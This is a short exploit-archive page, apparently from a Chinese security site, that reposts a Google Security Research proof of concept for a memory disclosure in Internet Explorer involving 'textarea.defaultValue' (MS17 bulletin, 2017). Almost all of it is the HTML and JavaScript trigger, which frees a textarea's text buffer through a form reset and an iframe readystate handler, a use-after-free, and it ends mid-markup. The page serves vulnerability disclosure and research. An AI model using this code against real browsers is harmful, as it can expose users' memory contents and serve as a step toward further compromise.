Microsoft Internet Explorer - 'textarea.defaultValue' Memory Disclosure (MS17-00

		当前位置：主页>安全文章>文章资料>Exploits>文章内容

Microsoft Internet Explorer - 'textarea.defaultValue' Memory Disclosure (MS17-00

来源：Google Security Research 作者：Google 发布时间：2017-03-21

<script>

function run() {
var textarea = document.getElementById("textarea");
var frame = document.createElement("iframe");

textarea.appendChild(frame);

frame.contentDocument.onreadystatechange = eventhandler;

form.reset();
}

function eventhandler() {
document.getElementById("textarea").defaultValue = "foo";
alert("Text value freed, can be reallocated here");
}

</script>
<body onload=run()>
<form id="form">
<textarea id="textarea" cols="80">aaaaaaaaaaaaaaaaaaaaaaaa</textarea>

[